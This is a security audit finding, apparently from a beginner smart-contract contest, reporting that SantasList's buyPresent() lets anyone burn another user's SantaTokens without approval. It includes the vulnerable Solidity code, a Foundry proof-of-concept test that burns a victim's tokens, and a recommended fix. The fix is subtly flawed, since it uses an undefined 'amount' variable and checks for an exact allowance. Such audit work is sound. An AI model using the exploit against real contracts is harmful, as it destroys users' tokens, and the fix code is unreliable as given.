Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

No need of approval of to burn someones SantaTokens

Summary

Attacker (anyone) can burn the SantaTokens of a user without their allowance using buyPresent() function. A user can burn someone's SantaToken without their approval.

Vulnerability Details

Attacker can call the buyPresent() function with any user address as parameter. Which results in burn of SantaToken of the user. This vulnerability arises because the burn() function in SantaToken.sol not burning the allowances of the the from address. The burn() function directly uses the SantaToken of from address not the allowances.

function buyPresent(address presentReceiver) external {
i_santaToken.burn(presentReceiver);
_mintAndIncrement();
}
function burn(address from) external {
if (msg.sender != i_santasList) {
revert SantaToken__NotSantasList();
}
_burn(from, 1e18);
}

Impact

  • The SantaTokens of the any user can be burned by an Attacker (anyone)

  • No need of approval from the user to the SantasList contract to burn the tokens of that user

Proof Of Code :

function testBurnTokensOfSomeone() public {
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.EXTRA_NICE);
santasList.checkTwice(user, SantasList.Status.EXTRA_NICE);
vm.stopPrank();
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
vm.startPrank(user);
santasList.collectPresent();
vm.stopPrank();
assertEq(santaToken.balanceOf(user), 1e18);
assertEq(santasList.balanceOf(user), 1);
vm.prank(address(0xdeadbeef));
santasList.buyPresent(user);
assertEq(santaToken.balanceOf(user), 0);
vm.stopPrank();
}

Here the Attacker can burn the buyToken() function with a user address to burn their SantaTokens without their aproval.

Tools Used

Manual Review

Recommendations

Check that santaList was allowed to spend SantaTokens of from user. Burn the allowance tokens of the from only.

function burn(address from) external {
if (msg.sender != i_santasList) {
revert SantaToken__NotSantasList();
}
+ uint256 allowed = allowance[from][msg.sender];
+ require(allowed == 1e18);
+ if (allowed != type(uint256).max) allowance[from][msg.sender] = allowed - amount;
_burn(from, 1e18);
}
Updates

Lead Judging Commences

equious Auditor
over 1 year ago
inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

buyPresent should use msg.sender

Current implementation allows a malicious actor to burn someone else's tokens as the burn function doesn't actually check for approvals.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.